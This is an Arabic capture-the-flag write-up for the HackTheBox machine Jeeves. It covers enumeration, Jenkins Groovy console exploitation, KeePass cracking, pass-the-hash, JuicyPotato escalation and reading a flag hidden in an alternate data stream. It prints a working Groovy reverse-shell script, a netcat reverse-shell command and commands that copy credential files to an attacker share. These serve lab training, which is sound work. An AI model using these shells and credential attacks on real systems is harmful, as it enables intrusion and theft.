> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # تقرير HackTheBox عن Jeeves {% embed url="" %} {% hint style="warning" %} **المهارات:** * استغلال Jenkins (وحدة تحكم Groovy Script) * كسر KeePass * Pass-the-Hash (Psexec) * RottenPotato (SeImpersonatePrivilege) * تيارات البيانات البديلة (ADS) {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** سننشئ مساحة عملنا بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات ونتائج الاستطلاع باستخدام Nmap
**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.
**اكتشاف المنافذ المفتوحة باستخدام Nmap:** قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts ```
**تحليل المنافذ المفتوحة باستخدام extractPorts:** باستخدام الدالة extractPorts لعرض المنافذ المفتوحة بتنسيق مختصر ونسخها إلى الحافظة (80.135.445.50000)
**فحص إصدارات المنافذ باستخدام Nmap:** استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted": ```bash nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted ```
### المنفذ 80 - HTTP
منفذ HTTP يعيد التوجيه باستمرار إلى `error.html` الصفحة. لم يتم العثور على أي معلومات أخرى قابلة للاستخدام.
### المنفذ 445 - SMB نحاول سرد مشاركات SMB باستخدام `smbmap` و `smbclient`: ```bash smbmap -H 10.10.10.63 -u 'null' smbmap -H 10.10.10.63 ``` ```bash smbclient -L 10.10.10.63 -N ``` ومع ذلك، تفشل الجلسة مع الخطأ التالي: ``` فشل إعداد الجلسة: NT_STATUS_ACCESS_DENIED ``` نستخدم `crackmapexec` لجمع معلومات الجهاز: ```bash crackmapexec smb 10.10.10.63 ``` النتيجة: * **نظام التشغيل** : Windows 10 Pro 10586 x64 * **اسم الجهاز**: JEEVES * **النطاق**: Jeeves
### **المنفذ 50000 - Jenkins**
نُطلق فحصًا للمجلدات باستخدام `gobuster` لاستكشاف محتوى خدمة HTTP: ```bash gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 ``` نكتشف الدليل **/askjeeves**
### CMS - Jenkins
**Jenkins - تنفيذ سكربت Groovy** يمكن الوصول إلى Jenkins CMS و **وحدة تحكم السكربت** الخيار مفعّل، مما يتيح لنا تشغيل سكربتات Groovy.
مثال على أمر لاختبار التنفيذ: ```groovy println "ipconfig".execute().text ```
### **الاستغلال** #### **شل عكسي عبر Groovy Script Console** للحصول على وصول عن بُعد، نتبع ما يلي: 1. /*/* نستمع على جهازنا على المنفذ 443/*/*: ```bash rlwrap nc -nvlp 443 ``` 2. /*/* شغّل السكربت التالي في Groovy/*/* وحدة التحكم لإنشاء شل عكسي: {% code overflow="wrap" %} ```groovy String host="10.10.14.9"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` {% endcode %}
### الراية user.txt :)
## **تصعيد الامتيازات** ## **الطريقة 1: كسر ملف Keepass** في **المستندات** مجلد المستخدم **Kosure**، نعثر على ملف بامتداد **.kdbx** (ملف Keepass).
/*/* نقل ملف Keepass إلى جهازنا المضيف/*/*/ ننشئ خادم SMB من جهاز Linux الخاص بنا لنقل الملف. لهذا نستخدم `smbserver.py`: ```bash smbserver.py share $(pwd) -smb2support ``` **النقل من Windows**/ من جهاز Windows، نقوم بنسخ **CEH.kdbx** الملف إلى جهازنا المضيف: ```powershell copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/ ```
### **استخراج هاش ملف KDBX** لاستخراج الهاش من ملف **KDBX** ، نستخدم **keepass2john** الأداة، والتي تعد جزءًا من **John the Ripper**: ```bash keepass2john CEH.kdbx ```
### **كسر الهاش** نستخدم **John the Ripper** لإجراء هجوم brute force على الهاش المستخرج، باستخدام **قائمة كلمات مرور rockyou.txt**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` كلمة المرور المكتشفة هي: * `moonshine1`
### **عرض محتوى Keepass** نستخدم **KeepassXC** لفتح وعرض محتوى **Keepass**
بعد إدخال **moonshine1** كلمة المرور، نصل إلى عدة كلمات مرور، بما في ذلك هاش NTLM v2 للمستخدم **Administrator**:
```bash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` #### /*/* مراجعة هاش NTLM v2 باستخدام CrackMapExec/*/* نتحقق مما إذا كان الهاش يطابق حسابًا **Administrator** بـ **CrackMapExec**: ```bash crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' ``` الهاش صالح، ويمكننا الآن تنفيذ هجوم **Pass-the-Hash**.
### **Pass-the-Hash - PsExec** نستخدم **PsExec** للاتصال بالجهاز الهدف باستخدام NTLM v2 المكتشف. يمنحنا هذا صلاحيات إدارية ```bash psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00 ``` لدينا الآن وصول كامل بصلاحيات المدير.
## **الطريقة 2: استغلال امتياز SeImpersonatePrivilege** وجدنا أن المستخدم يمتلك `SeImpersonatePrivilege` الامتياز، مما يجعله عرضة لبعض تقنيات تصعيد الصلاحيات. يؤكد الأمر أدناه وجود هذا الامتياز: ```bash whoami /priv ```
لاستغلال هذه الثغرة، سنستخدم **JuicyPotato**، وهي أداة معروفة لاستغلال هذا الامتياز في بيئة Windows. **تنزيل الأدوات المطلوبة** {% embed url="" %} {% embed url="" %} **ابدأ خادم SmbFolder** على جهاز الهجوم الخاص بنا لتقديم الملفات: ```bash smbserver.py share $(pwd) -smb2support ``` **نقل الملفات إلى الجهاز الهدف** باستخدام `Invoke-WebRequest`: 
copy //10.10.14.9/share/JP.exe
copy //10.10.14.9/share/nc64.exe
**تنفيذ JuicyPotato لتصعيد الامتياز** سنقوم الآن بتشغيل JuicyPotato للحصول على جلسة بصلاحيات مرتفعة. يشغّل الأمر التالي JuicyPotato، والذي يشغّل `cmd.exe` بامتيازات عالية ويبدأ اتصالًا بجهاز الهجوم الخاص بنا عبر Netcat: ```powershell ./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234" ``` **تسجيل الدخول إلى جلسة مرتفعة** لالتقاط الاتصال، نستمع إلى المنفذ 1234: ```bash rlwrap nc -nvlp 1234 ```
## علم الجذر - ADS > تيارات البيانات البديلة (ADS) هي ميزة في **NTFS** أنظمة الملفات في Windows التي تتيح ربط عدة تيارات بيانات بملف واحد. قد تحتوي هذه التيارات الإضافية على معلومات مخفية غير مرئية أثناء فحص الملف التقليدي. سنستخدم هذه الميزة لاكتشاف **علم الجذر**.
#### **1. فحص تيارات البيانات البديلة (ADS)** نبدأ بالتحقق مما إذا كان **hm.txt** الملف الموجود على سطح مكتب المستخدم **Administrator** يحتوي على تيارات بيانات بديلة. للقيام بذلك، نستخدم الأمر التالي: ```bash dir /r C:/Users/Administrator/Desktop/hm.txt ``` يسرد هذا الأمر جميع تيارات البيانات البديلة المرتبطة بـ **hm.txt** الملف. إذا كان هناك تدفق بيانات بديل، فسيظهر.
#### **2. عرض محتوى تيار بيانات بديل** إذا وجدنا تيار بيانات بديلًا مرتبطًا بالملف، يمكننا عرض محتواه بالأمر التالي: ```powershell more < C:/Users/Administrator/Desktop/hm.txt:root.txt ``` يتيح لنا هذا قراءة محتوى **root.txt** التيار واستعادة **علم الجذر :)**
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.